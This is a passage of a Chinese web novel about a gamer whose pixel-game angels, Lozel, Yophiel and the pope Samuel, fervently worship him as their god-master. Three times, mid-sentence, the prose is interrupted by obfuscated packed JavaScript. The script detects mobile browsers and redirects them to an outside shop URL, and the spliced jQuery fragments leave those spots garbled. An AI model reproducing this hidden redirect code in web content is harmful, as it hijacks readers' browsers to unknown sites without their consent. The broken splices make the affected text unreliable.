明明神主并没有回头与他对视，看上去更像是随意找了个地方靠在那里闭眼休息。 但洛泽尔能够无比清晰地感知到神主的目光。 像是跃动在水面上明亮的光点，随着水波摇曳起伏，人们很清楚这漂亮的光就在水痕上轻巧地跳跃着，但想要确定自己第一眼瞧见的到底是哪个光点时，又会被它狡猾地跑掉，让人们分不清自己先前看到的是哪一个，更别说想要去捕捉它了。 神主的目光也是这样。 在洛泽尔低下头的时候，柔软得像是云朵的视线带着好奇，小鸟一般一直轻巧地停在他的身上。 但只要他露出一点发觉的征兆，说不定这道目光就会和被惊扰到的小鸟一样，从他身上移开，再也不会停留。 洛泽尔心中有冰与火在交织。 想要迫不及待地抬眸与神主注视，确信神主的目光真切地停在自己身上。 又怕神主只是一时新奇，很快便会因他的无趣而移开视线。 洛泽尔手指将蜷未蜷，连藏得极好的耳羽都在此刻微微舒张。 更叫洛泽尔难以按捺的是，有什么人，正轻轻用指尖戳着他的脸颊。 熟悉的、小小的轻软的力度。 只有一点触感，接触面积小之又小，对于洛泽尔而言，却是完全无法忽视。 洛泽尔努力按捺着自己的反应，向来寡言沉默的脸，一点一点染上了浅淡的红晕。 “唔、呃！” 他轻轻的、暗哑的，有点急促，却又几近于无般喘了一声。 小小的神主还在闭目养息。 即便是洛泽尔最小的拟态，神主的身形对于他而言还是太小了。 几近两米高的洛泽尔哪怕不恢复原身，也能轻而易举将神主笼罩在自己的羽翼和怀抱中。 神主没有看向洛泽尔，他的目光却一直在洛泽尔的感知里清晰可察。 神主明明没有触碰洛泽尔，圣天使却感觉自己的脸颊，脆弱敏感的耳羽，舒展的羽翼，都被神主的指尖若有似无地触碰着。 就像是…… ——被神主的精神力在注视和触摸一样。 洛泽尔死死地垂着头，眉心微蹙，愈发忍耐着。 精神力对于天使而言，相当特别。 实际上，天使们并不是血肉生物，更像是纯精神体。 他们在神国中诞生，由圣辉石赋予一切。 别看天使们的外表那么巨大，实际上，那都是构成他们的能量，真计较起体重，天使们其实轻如空气。 低阶天使们可以说话，也能在无需言语的情况下，就能在意识海里用精神力沟通交流，这么看上去的话，精神力似乎对天使而言没什么特别。 但这种情况只限于用精神力来沟通交流。 精神力的确很万能，能当做天使的第三只手，帮助他们去做一切事情。 ——前提是，在天使允许前，最好不要轻易用精神力去接触对方的本体。 对于几乎等同于精神体的天使们而言，精神力对他们来说是极为敏.感的。 至于耳羽，则是天使们另一处敏.感点。 对于天使们而言，耳羽是最靠近神主的部位。 它能够帮助天使们聆听到神主的声音，指引天使们前行的方向。 这是天使与神主最特殊的联系，天使们也享受着这种隐晦的亲昵与亲密，等待着、凝望着，耳羽能够发挥它的作用，能够真实地听到神主，赞美神主。 即便在难以计数的光阴中，神主从未出现过，可耳羽对天使们的重要性完全不言而喻。 这是天使最柔软的羽毛。 按理来说，自带精神力的天使们同样自带精神屏障，一般在用精神力触碰到他们时，便会被他们提前察觉。 天使是有非常严格的等级界限的，高阶天使可以轻易破开低阶天使的精神屏障，如果高阶天使不愿的话，低阶天使连用精神力和他们交流的资格都没有，更别说触碰了。 洛泽尔作为神国最顶尖的三大圣天使之一，执掌巨大的权柄，掌控强大的力量，即便在遗弃之地被黑雾侵染不知几何岁月，他的精神屏障也依旧不是那么好攻破的。 他的耳羽也像是龙的逆鳞，没有任何存在能够触碰。 可是现在，触碰他的，是神主。 ……注视自己、触碰自己的，是神主。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588497|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个认知，让洛泽尔的精神世界再一次震动起来。 作为圣天使，走出神国，主动来到遗弃之地，此乃堕落。 被黑雾侵蚀，纯净不再，又擅自靠近神主，此为不敬。 但没有神主的神国，又与遗弃之地有和区别？ 找到神主后，又怎么可能不靠近贪恋神主？ 然而此刻—— 渴慕的神主。 梦寐以求的神主。 等待已久的、心心念念的神主。 只存在于天使们幻想之中的神主。 在注视他，触碰他。 …… ……………… ……喜欢。 喜欢、喜欢、喜欢喜欢喜欢—— 无法理解的情感，如海浪一般席卷了洛泽尔的全部。 洛泽尔几乎要无法控制自己了。 【……洛泽尔？】 似乎是有谁的声音在洛泽尔脑海里响起。 温和的，克制的，青年的声音毫无波动，像是没有受到任何影响。 如果此刻有神国其余天使在这里，必定能够认出这道声音。 他缓缓吸气，同样带着难以言明的忍耐。 【你在，做什么……】 【你的精神为什么，波动得这么厉害？】 神国有三大圣天使，各自执掌权柄。 即便圣天使们看上去关系浅淡，但实际上，作为同时降生在神国、掌控着神国最强大力量的他们，确实是有着特殊联系的。 就像是一个灵魂分裂成三份一样，圣天使们有些时候偶尔会共感。 频率次数并不多，但真实存在。 尤其天使情绪淡漠惯了，某些极端的情况，就比如此时，过于强烈的情绪，哪怕隔着遥远的时空，也会引起一定程度的共鸣。 脸颊被柔软指尖轻轻戳弄，敏感的耳羽被反复抚摸。 心里古怪涌动着，盈满得快要溢出的情绪—— 【……】 【……………】 【……洛泽尔。】 长久的、死寂般的沉默过后，青年再一次开口了。 就像是暴风雨来临前最后的平静，诡异得有些可怕。 【神主……是不是在你身旁？】 洛泽尔没有回答，他只是微微湿润着那双灰色调的眼睛，在朦胧的视线中，找不到任何焦点。 被迫共感的青年也无需任何回答，从洛泽尔的沉默中明晓了一切。 他的声音逐渐转冷，口吻像是落在屋檐上的冰雪，凉得刺骨。 【你找到了神主吗？】 【神主怎么样了？有没有受伤？你照顾神主了吗？为什么不在第一时间通知我，为什么不立刻将神主迎回神国——】 【你不知道外界对于神主而言有多危险么？！】 断断续续、不真切的责问声，含着点咬牙切齿和声音主人自己都没发觉的嫉妒。 在神国中，向来冷静理智、如无心机器般从容镇定的圣天使，难以继续维持自己的平静。 他迫切地逼问着：【你现在在哪里，回答我——】 恍惚中，洛泽尔并没有去在意。 他的瞳孔，不知不觉，像是野兽般露出了竖瞳，牢牢锁住了自己身前的神主。 神主不知何时已经睁开了那双漂亮甜蜜的眼睛，笑意盈盈地看着洛泽尔。 坚贞，坚韧，忠诚，纯洁，这都是天使们固守的品质。 作为天使，生来就有抵御诱惑的能力。 神国里无人不知，圣天使洛泽尔性格沉默寡言，是最忠诚、最锋利的刀刃，无人会觉得他也有私心。 可是现在，洛泽尔发现，他似乎并不像自己想象那样坚定。 小神主展开双手，仰着雪白的小脸，做出一个讨要拥抱的动作。 “抱。” 神主神情灿烂明媚，尖尖的小虎牙若隐若现，唇瓣像是花朵，说话时中带着甜蜜馥郁的香气。 “洛泽尔，”他呼唤着洛泽尔的名字。 天使的名字并没有什么誓约效果，可当洛泽尔的名字被神主用奇异的、陌生的，却又畅通无阻的声音轻轻念着时，洛泽尔有一瞬间陷入了眩晕，仿佛连灵魂都被神主攫取了。 神主展露笑颜：“抱我吧。” 天使们很少笑，也很少做出什么表情。 神主却截然不同。 天使本就无法拒绝神主，何况是露出如此可爱笑容的神主。 明明说着的是“抱我吧”，神主的声音、姿态，却更像是恶魔般在耳边低语蛊惑“拥有我吧”，考验着圣天使这颗虔诚忠贞的心。 洛泽尔感觉整个世界都在颠倒旋转，眼底只剩下近在咫尺的神主。 天使是一个非常独立自主的种族，大多洁癖、高傲，即便是亲密的族人，也大多保持着一定距离。 “你会听话的，对吗？” 神主垂了垂眼睛，居高临下地看着臣服般半跪在自己面前的天使，朝洛泽尔露出一个让他头晕目眩的笑容来。 “……是的。”洛泽尔说。 谁能拒绝神主呢？ 谁会拒绝神主呢？ 同僚迫切而嫉妒的姿态完全不能引起洛泽尔半点波动。 以往的洛泽尔或许还能坚信自己是无私的，他绝不会做出什么独占行为。 只是…… ……只是。 【约斐尔。】 洛泽尔第一次回应了脑海里那道声音的呼唤。 天使轻缓地、如追沉梦般曳着浅淡如泡影的叹息。 他展开羽翼，灰色的眸子凝稠暗沉，如寒冬雪松般沉默高大的天使，小心翼翼、却毫不犹豫地，深深将小小的神主，笼进了自己的怀抱与羽翼中。 【神主，现在……在我怀里。】 6. 006（增修） “洛、泽、尔——” 天使深深阖着蓝眸，急促的喘息压在唇齿间，在难耐的悸动中，深深地压抑着对洛泽尔的嫉恨。 没有天使会不渴望神主，这是写在基因里的本能。 在听到神主的声音后，约斐尔第一时间就要去寻找神主。 但神国被结界笼罩封锁，隔绝黑雾侵染，即便是约斐尔，也不能在短时间内打开结界，只能试图通过命运道具来卜测神主的位置。 可惜，或许是神主的位格太高，即便洛斐尔再心有不甘，也无法得知神主的位置。 然而现在，那个被视为神国的叛徒，自甘堕落的洛泽尔，竟然敢讥讽他—— 炫耀着，神主此刻就在他的怀中。 洛斐尔铂金色的发丝浅浅润湿，共感在此刻几乎成了诅咒。 无法知晓神主的容颜，不能确切地触摸到神主的存在。 可神主身上的每一处细节，都被通过共感无比清晰地传达过来—— 越是如此，也是克制不住恶意和嫉妒。 越是恶意和嫉妒，越是无法抵御内心对神主的渴求，如沙漠中的旅者一般迫切地想要被神主触碰。 宽敞神圣的大殿中，没有任何人看见，昔日总是从容镇定的圣天使，此刻喉结滚动，垂落的睫羽微微轻颤，失去了所有的冷静矜持。 神主的指尖很温暖，浅淡的香气像是云雾若有似无地萦绕在感知中。 和先前听到的少年声线一模一样的声音的主人，用远比那会更缱绻动人的语气，蛊惑般开口：“你会听话——” 看不清面孔的人影朝约斐尔隐隐微笑着：“——对吗？” 这惑人的、让人几乎头晕目眩的甜蜜话语，却不是对着他所说。 -- “你会听话，对吗？” 在输入完这句话之后，要求毫无疑问被同意了。 【绝对不会拒绝】这样的语句都出现了，别说只是一个简单的拥抱，就算是最过分的要求，洛泽尔也会毫不犹豫地照做。 但让洛橙心情轻快的却是洛泽尔的表现。 天使予取予夺，温顺服从。 拥抱也一触即分，可惜洛泽尔头顶持续不散的小花完全出卖了他。 即便是抱着简单逗弄小狗的心思，在看见小狗真的热情得把尾巴摇断后，人难免会跟着愉快起来。 洛橙感觉得到，在抱抱之后，洛泽尔好像黏他黏得更紧了。 简直像是得到了什么特赦令的幼稚宝宝，察觉到被偏爱的可能后，就紧抓着不放手。 不仅主动给洛橙找果子吃，用翅膀帮洛橙遮光，变大捧着洛橙在遗弃之地乱转。 游戏里的洛泽尔做什么事情都是一本正经，像素画风下，天使总是面无表情。 但洛橙分明感觉，每次回头和洛泽尔对视时，都觉得洛泽尔像是什么体型很大只性格却格外温顺的狗狗。 明明什么都没说，但所作所为分明全在说：请对我提出更多的要求吧。 洛橙弯了弯眼睛，他想，【绝对不会拒绝】，这个概念与其说是洛泽尔心情特别好时才会冒出的提示，不如说是洛泽尔本身就绝对不会拒绝洛橙，只是透过那个小事件，被洛橙知晓。 而且不只是洛泽尔—— “眷属们好像都不会拒绝游戏里的我诶？” 不知道为什么，从进入游戏后，洛橙感觉他遇到的所有天使，对他都狂热得有点过分了。 与其说洛橙要刷他们好感，不如说他们想方设法要来刷洛橙的好感。 “为什么会这样呢？” “这种游戏，不应该要我先刷满他们羁绊值吗？” 这样隐约模糊的念头浮现不过一小会，洛橙就将之抛在脑后。 洛橙很快说服了自己：这毕竟是三无小厂，在激烈的竞争下夹缝生存，没有特别的揽客手段，那就只能拼命讨好玩家了。 媚玩家游戏嘛，不磕碜，多来点！ 让洛橙惊异的是，在拥抱过后，他那因潦草的成就开启的图鉴，蓦然多了个新的人物图鉴。 图鉴上，显然是洛泽尔。 洛橙直起了腰，微微张大眼睛，有些惊艳。 “这个游戏的美工这么厉害的吗？” 和游戏里的像素画风不同，收录在图鉴里的洛泽尔是非常漂亮的立绘。 身形高大的天使拥有一对雪白的长翼，灰发披垂，侧坐着擦拭长剑，身形高大修长。似乎是察觉到了镜头，天使略显阴鸷地抬眸，露出一双沉凝的灰色眸子。 那双眼睛灰调又冰彻，像是冬季时西伯利亚高原的天空，在凛冽的寒风总飘落簇簇白雪。 与像素的他不同，立绘里的洛泽尔显得无比精细，脸颊有白金色的羽痕。 落在气质深冷凝酷的洛泽尔身上，显得凛冽又神圣。 而和先前只能看到人物名字不同，被收录到图鉴之后，名为洛泽尔的天使的信息被揭露得更多了。 【洛泽尔】 【等级：lv.892（lv.999）】 【喜好：（？）】 【介绍：神国三大圣天使之一，掌控名为“力量”的权柄】 【当前心情值：100（幸福）】 【好感：（满值）】 【心情：神主……好小，好温暖。希望能够一直被神主注视。】 “！！！” 洛橙震惊地张大眼睛。 “等下，那个等级是认真的吗？” 892级？？？ 还有括号里的lv.999，这个意思是洛泽尔的实力因为某些原因无法发挥完整还是说他的潜力？ 配上那简短却信息量极大的介绍，怎么想洛泽尔都不可能简单吧？！ 这是一个新手地图该有的人物吗？！ 洛橙新奇地看着屏幕里像大狗狗一样守在自己身边的洛泽尔，左瞧右瞧，都没感觉洛泽尔有什么符合这个身份的地方。 这么乖巧的天使宝宝，哪里像是位高权重的圣天使啦？ 还有那个好感，那个心情—— 他、他好像还没开始攻略呢，这位圣天使就、就这么白给了？ “……肯定是花言巧语的骗子。” 洛橙鼓了鼓腮帮子，忍不住戳了戳图鉴里的洛泽尔。 下一秒，像是油画一般的天使忽地生动起来。 似乎是发觉触碰自己的是自己最喜爱崇敬的神主，圣天使原本深冷的灰色瞳孔，在抬眸注视屏幕的那一瞬间，深冬厚重的霜雪全部在对视中消融了。 【“神主。”】 圣天使轻声开口。 嗡—— 洛橙的耳尖烫了烫。 很难形容那一瞬间的感觉。 别过那些嘈杂难明的絮语，洛橙第一次听见了洛泽尔的声音。 声线低沉，兴许是不常说话，说话时带着点微不可查的滞涩，像是蒙着一层薄薄的风雪，每一个字的咬音都如同羽毛般轻轻划过耳膜，让人脸红心跳。 【“我会为您获得一切您想要之物，将无上的荣光捧到您的面前。您的旨意，即为我的前行的方向。主啊，请您，一直注视我——”】 虔诚的话语，配上满值的好感，毫无疑问，像是剖明心意一般的洛泽尔是完全属于洛橙的。 “哇。” 洛橙有点脸红了。 “就这么喜欢我吗？”他不太好意思起来。 洛橙将自己缩在沙发里，明明房间里没有任何人存在，少年却有些羞涩地红起了脸，环住自己并着的小腿，将小脸埋在膝盖上，只露出一双有些亮晶晶的眼睛。 现实里，不是没有人向洛橙玩笑般表达过喜爱，可是用玩笑之名诉说的喜欢，有谁又敢当真呢？ 但游戏里的喜欢不一样。 可以被明码标价、清清楚楚看清数值的爱意，有些人或许会觉得虚幻，但对于洛橙来说，不管是这是不是游戏虚假的爱意，但在游戏的设定里，这份厚重的爱意就是清晰存在。 “……感觉，好像要认真点对待了。” 洛橙发了会呆，等耳尖的滚烫消退后，才继续若无其事地玩起游戏。 吃完了果子，又休息了好会，洛橙觉得自己又可以了。 在《创世界》里，体力值并没有具体显示，洛橙也不清楚自己的体力值有没有补满。 不过洛橙试了试，发现小人重新可以蹦蹦跳跳时，便决定继续探索下去。 至于去哪里探寻…… 洛橙看了看自己的小胳膊小腿，再看了看旁边退了人物图鉴后，便重新恢复成像素画风的洛泽尔，备注，当前等级892。 洛橙的自信一下子膨胀起来了。 892的等级在新手村是什么概念？ 说是横扫都过于谦虚了！ 洛橙一瞬间做好了决定。 ——就随便找个方向，沿着一条路直行下去吧！ “冲冲冲！” 洛橙一马当先，带着自家天使出发了。 -- 好一会过后，洛橙咸鱼起来了。 这个地图，真的，很大、很大、很大—— 洛橙难以置信，自己逛了这么久都没有来到这个地图的边缘，更别说碰到游戏的空气墙了。 “难不成这个游戏完全没有贴图，真做得这么大？” 洛橙有些狐疑，明明下载的时候游戏内存这么小，这样逛了许久也没发现地图素材有重复。 那些奇形怪状的树木很是抽象，但每一颗都抽象得不一样。 但不知道是不是游戏制作者知道自己的玩家耐心有限，当洛橙准备找个地方原地倒下时，他的屏幕忽然多出一条新的消息。 【您的探索有了成效】 【您有了新的发现】 【地图功能已为您开放new】 【导航功能已为您开放new】 【当前地图：-遗弃之地-】 【被遗忘和放弃的地方，生存环境极为恶劣。或许还藏着一些不为人知的秘密。】 “咦，这里原来叫遗弃之地么？” 洛橙戳戳屏幕。 “不许装死，把秘密说出来，说一半留一半只会让你变糊喔！”洛橙发出了非常玩家的威胁。 然而游戏不为所动，弹窗只出现了一会，很快就消失了。 洛橙也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588498|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失望，哼了一声后就重新兴致勃.勃地打开小地图。 在地图上，遗弃之地的边缘很不规则，只有最中央是亮起的，周围则笼罩着一层黑雾。 洛橙本来想查看，发现是【未解锁】后便失望地叹了口气。 有了地图，洛橙才确切地知晓，遗弃之地到底有多大。 走过的地方会有浅浅的白光标记，而洛橙走了这么久，探索的地点在地图上简直如雨滴入海，完全不起眼。 叫洛橙最感兴趣的是，离他很近的地方，有个特殊的图标。 洛橙点击放大图标，看到了个无比抽象的小人雕塑。 本来就是简陋的像素画风，这个小人甚至只能看出点人形。 洛橙：？ 抽象的洛橙不是很感兴趣，但是过于抽象的，洛橙感觉自己必须要去瞧一瞧了。 毫不犹疑地使用了伴随着地图一起出的导航功能，洛橙招呼着洛泽尔赶紧跟上自己，带着他892级完全可以到处乱杀的眷属出发了。 随着洛橙的走动，游戏里冒出了新的提醒。 【您踏入了一处未知地点，请您一切小心】 “吱呀。” 枯败的落叶被踩动的音效声。 变化更明显的，是进入游戏来一直轻缓如泉水流动的音乐，慢慢变得低沉肃穆起来。 就像是误入遗迹那般，带着沉厚的历史感。 洛橙微微张大眼睛观察四周。 ——破败的遗弃之地，竟然有一座神殿。 此处明显要比外边的光线要来得黯淡。 坐落于此的神殿是很明显西幻风格，若是这些树木没有枯败，必定是掩在葱郁之下，清泉涌动，日光明媚。但现在只剩枯枝败叶，天光黯淡，神殿便跟着显得寂寥起来了。 神殿通体呈玉白色，在时光的侵染下，也只是蒙上一层薄尘，像是坠入深梦的无名客，等待着误入此处的旅人唤醒。 看得出来，在破败之前，这里其实很是辉煌。 神殿外，还有一个巨大无比的雕像。 这座雕像同样是玉白色的，不知用何种材料塑造，即便是像素画风，也能看出精巧的细节。 很明显，这座雕像就是这座神殿信奉的神明。 神像有些眼熟，但像素画风下，没有被精细雕琢五官的雕像显得神圣又庄严，洛橙思来想去没有想到自己在哪里见过。 就在洛橙观察时，他发现神像胸前有闪光亮起，像是扑朔的萤火，一闪一闪的，在幽暗的光线下显得极为诱人。 “难不成——这是宝箱？！” 洛橙眼前一下子就亮了。 没有任何玩家可以拒绝游戏里闪闪发亮的东西！ 不是宝箱就是线索。 前者能开，后者说不定还能让洛橙多了解一点他的眷属。 毕竟洛橙现在脑海里老多疑问了。 就比如，他香香软软可可爱爱的天使到底是怎么变成现在这个样子的？ 他们为什么对洛橙好感这么高？ 游戏里的洛橙，又有什么未知的剧情等待他去探索？ 哪怕不同的世界对天使这个种族有认识偏差，洛橙也得去探寻背景才知道偏差在哪里。 可惜的是，尊贵的玩家，伟大的神主，在第一步就失败了。 过于娇小的洛橙，连神像底台都爬不上去。 洛橙：#￥%%……&！ 洛橙废了好一会劲都爬不上这个神像的底台，完全可以想象这个雕像到底有多高。 “……日常小游戏就不要搞魂类操作啊喂！” 洛橙恼羞成怒，操作一通没有任何效果之后直接原地装死了。 但是雕塑上那个闪光的东西实在太吸引人了呜呜。 洛橙气鼓鼓了一会，忽然看到身侧的洛泽尔。 在旁边等待已久、看着自家小神主非常有活力扑腾的洛泽尔，在洛橙朝他看过去时，歪了一下脑袋。 旋即，他头上那朵冒着小花的气泡啪的碎开，旋即取代的是代表明悟的发光电灯泡，然后，圣天使已经开始熟练地变大，弯下腰，接过洛橙。 洛橙眉开眼笑：很好，默契度再+1！ 天使展开庞大的羽翼，小心翼翼地将他的神主，托举到神像面前。 洛橙站在洛泽尔的掌心里，有些气呼呼凑过去瞧那个在神像面前发光的东西。 到底是什么东西，让玩家想要还得废这么大的劲？ 凑近之后，洛橙才发现那是一根漂亮的白色羽毛。 这显然是非常特殊的物品，在洛橙取下这个羽毛之后，游戏突然多出了一则弹窗。 【物品名称：？？？的羽毛】 【物品描述：属于？？？的羽毛，连接着？？？的感知。唔……好像是个变态呢（捧读）】 洛橙：“……嗯？” -- 与此同时，查尔曼帝国。 闭阖着眼眸，仿佛正虔诚祈祷、气质淡漠华贵的教皇，忽然停顿了一瞬。 他睁开了那双如同浅金浇融的金眸。 日轮在那双瞳孔里燃烧。 他留下的圣羽之一，被触动了—— 7. 007 在离开神国前，塞缪尔将自己的力量散为了万千神羽。 只有这样，他才能规避结界的感知，在保存一定实力的同时，不受黑雾的侵染。 而这些散落神国以外各地的神羽，换句话而言，其实都可以视为塞缪尔的分身，上边下了一定限制，只有特殊的力量才能引起塞缪尔的感知。 无人知晓的是，塞缪尔设定的这个特殊力量，源于神国的至宝，圣辉石。 在传闻中，圣辉石是神主的宝物，只有神主才能够使用它完整的力量。 因此，想要触动神羽，要么是有人携带和圣辉石如初同源气息的物品去触碰，要么，就是…… ——他们梦寐以求的神主。 只是，有可能么？ 追寻了那么久，从未有过结果。 来到人间数十年，苦寻无果，便在查尔曼帝国建立起庞大的光明神教，遍地是神的信徒。 信徒在下方虔诚祷告之际，殊不知，高坐首尾的教皇，心底也在祈求着自己的神主回应自己。 但是，没有。 塞缪尔得到的，只是一次又一次的死亡。 那么这次神羽的异动，其中蕴含的意味，究竟是前者，还是后者？ 面色平静的塞缪尔抬起修长的指尖，轻轻压在虚无中。 他正试图去连接触碰神羽的存在，却被一道更为熟悉的能量波动给阻拦了。 ——正是同为圣天使、执掌“力量”权柄，数十年前便从神国脱离，销声匿迹的洛泽尔。 “呵、呵呵……” 抑制不住的低笑从喉间逸出，明明是笑声，却幽冷得叫人心生恐惧。 什么啊，做了那么多无用功，第一个见到神主的，竟然不是他啊？ “……教皇大人。” 幽闭的空间里，有人颤颤巍巍地呼唤出声。 前身为圣天使，此身为教皇的塞缪尔脸上的笑意不达眼底，漫不经心地投来视线，雪色的睫羽下，瞳孔深处没有任何属于人类的感情。 “教皇大人，先前所言之事，是否需要更慎重考虑？” 在这叫人滞涩的注视下，红衣主教艰难地吞了口唾沫，没敢抬头，深深垂着脑袋，连在前往此处时想好的措辞，都在这安静得吓人的气氛下消灭了。 他并不是什么胆大妄为之人，只是此事事关重大。 这片大陆战乱，直至几百年前才止休。众多王国在交战中被毁灭吞并，逐渐形成了占据大陆东部的查尔曼帝国。 查尔曼帝国此时虽然名义没有变，可现在掌控这个庞大帝国的，不是那些醉生梦死的皇室，而是这个庞大的光明神教。 作为教皇，塞缪尔完全可以说是这个帝国里执掌最高权柄的存在。 前不久，塞缪尔下令在帝国范围内推进神殿的建设。 神殿作为神于人间的寄所，花费甚大，选址更是重中之重。 可比起所谓的神明，执掌教派的塞缪尔，更像是这帝国的共主，人界的神灵。 那些神殿就算修建得在金碧堂皇，塞缪尔坐镇在首都，也不会前行去居住。 而除却神殿外，近些时日，帝国里最大的变化，是坐落在每个城市里的神像。 说实话，主教并不明白，建立这么多神像，究竟有何作用。 如今，帝国已经光明神教的天下，人们无不信仰这尊被光明神教高高捧起、却不知神貌、不知性格、一切都藏匿在神秘中的神。 塞缪尔在各地修建神殿的行为主教可以理解，但那些遍布整个帝国、用圣晶石雕塑的神像，主教却不明所以了。 毕竟，圣晶石虽然叫这个名字，但它的作用，某种意义上而言，对于光明神教甚至可以说是异端…… 出声之后，主教就后悔了，冷汗一瞬间浸湿了他的后背。 只听见这处空间里一片静默的呼吸声，久久没有从教皇这里得到指使的主教甚至有一瞬间，察觉到了死神持着镰刀站在他的眼前，那种令人恐怖的窒息感，慢慢在身上攀爬。 青年模样的教皇神色淡淡，俊美得不似凡人的眉眼似笑非笑。 他穿着白金色的长袍，踱步从台阶走下时，衣摆的暗纹随着光线而流转。 那双如神灵一般沉着日轮的金瞳，如注视死物一般，轻飘飘地落在了他的身上。 “你对我下达的命令，有什么意见么？” 塞缪尔定定地注视他，明明语气温柔和缓、嘴角还残余着星点笑意，听在人耳边时却叫人如至冰窖。 “看来，我最近或许太好脾性了，以至于给了你们一些错觉。” “教、教皇大人……” 主教直接瘫软在地，心神俱骇，不由后悔起自己方才为何要多嘴。 他近来真的太得意忘形了，怎么能因为他人的吹捧，外加这些年来教皇“修身养性”，因教皇年轻的外貌，心底总不自觉地起了轻视，而把他当做是可以商量的对象？ 即便没有见过，可他怎么能够忘记在别人的口中，这位年轻的教皇究竟是如何血腥上位，而在他上位那日，那些被打为异端的家伙，坟头早就长满了荒草。 “请原谅我的失礼，请您宽恕我！我、我这就去督促那些人，叫他们立刻执行您的命令！” 塞缪尔没有说话。 主教已经深深嗅闻到了死亡逼近的气息，愈发惶恐。 但叫主教惊疑不定的是，半晌后，他再次听到了教皇的声音。 一字一句，像是唱诗班般悦耳的声音，宽和地说道：“跪在地上不冷么？起来吧。” 这位手段残酷的年轻教皇，慢慢舒展了覆着霜雪的眉眼，甚至有几分轻快真切地浮现在瞳底。 他几近叹息般微笑道：“何必显得我像是恶人呢？我又不会对你怎样。” “我交代下去的事情，你会办好的，对么？”俊美的教皇面容模糊在光线中，只有声音，如冰水一般一点一点浸透人的心脏。 “是的！我一定会不负所托！” 教皇脸上的笑容愈发和缓了，他不常笑，因而每次笑的时候容色都异常惊艳，然而此刻，却没有人能够欣赏这笑容的美丽。 “很好，下去吧。” 得到准允，主教才慌张退离，脸上全是惶然不已的表情。 塞缪尔完全可以感知到眼前主教心底腾升的恐惧，但——凡人的反应与他何干？ 无论是修建神殿，建立神像，又或者是宣扬教派，一切都只是为了神主。 只要是为了神主，使出何种手段又何妨呢？ 收回游离在空气的力量，斑驳的光点像是在不满，渴求去到引起主人心潮澎湃的神主深处。 虽然神羽上的感知被隔绝了，但塞缪尔其实并不生气，还能想到体贴地理解洛泽尔的做法。 如果现在遇见神主的是他，他必定也不会让其余天使和自己争夺神主的注意。 塞缪尔的心情，在这一刻，不仅不生气，甚至诡异地产生了愉悦。 ——但那又如何呢？ 塞缪尔静静地微笑起来，笑容褪去冰冷，露出几分迷离和梦幻来。 反正他很快就会见到他的神主了。 这是命中注定的、不可更改的事实。 在见面前，塞缪尔为他的神，在人间，建立新的神国。 -- 另一边，一无所知的洛橙正看着这根羽毛无语中。 “……我都还没吐槽，你小子倒是吐槽上了，真是走玩家的路，让玩家无路可走啊你。” 废了老大劲才摸到的金光闪闪的东西，既不是宝箱也不是什么线索，只是一根不明所以的羽毛，这让洛橙沉默了足足三秒。 但洛橙也没有多失望—— 忽略这根羽毛奇怪的介绍，真正叫洛橙侧目的是弹出的新弹窗。 【您获得了新道具，探索度+1】 “好吧，解锁个探索度也不错了。”洛橙决定原谅这个游戏1秒。 游戏到现在还没有提供背包，洛橙盯着这根羽毛瞧了好一会，也不知道放在哪里。 最后，洛橙突发奇想，正要把羽毛往屏幕里的小人脑袋上插时，一直在旁边静静看着的洛泽尔忽然阻止了洛橙。 洛泽尔：【请不要这么做，神主。】 洛橙：“嗯ovo？” 在人物被收集到图鉴里后，以往在天使那听到的浑噩的怪呓，已经变成了正常的文字，可以显示在对话框里了。 屏幕里的天使不知何时重新把自己缩回了常态，半跪在洛橙面前，即便是像素画风也挡不住他脸上的忧郁感。 洛泽尔：【请不要将天使的羽毛别在身上】 洛泽尔：【这是非常亲昵的举动，代表着非同一般的亲昵】 洛泽尔：【何况它来历不明，若是别有用心者，说不定会对神主您造成危害】 洛橙眨眨眼睛，看着洛泽尔的头顶冒出一个又一个气泡。 洛泽尔这是在吃醋吗？ 游戏适时冒出了个选择弹窗。 【您的眷属对您发出了警示，您的反应是？】 【好吧，洛泽尔都这么说了……】 【真的假的，我不信。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588499|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两个选择，不算明显的暗示玩家会有不同的事件发生。 前者一眼在刷洛泽尔的好感，说不定会打出一点洛泽尔的cg——等下，这个游戏有cg么？ 后者则可能会引出新的走向，新的事件，新的人物。 洛橙打游戏蛮随心所欲的，此时，比起探索新事件新人物，洛橙更多是一种想要欺负这只乖巧听话的天使狗狗的坏心思在作祟。 虽然自家天使很可爱，但也正是因为这种可爱，让洛橙忍不住想要逗弄一下对方。 所以—— 【→真的假的，我不信】 洛泽尔：【……】 洛泽尔：【…………】 【洛泽尔心情-1】 游戏很会拱火，选择了以后还有新的选择。 【——但是嘛，洛泽尔不开心的话，我就不戴好了】 【不管再怎么说，我就是想要试试】 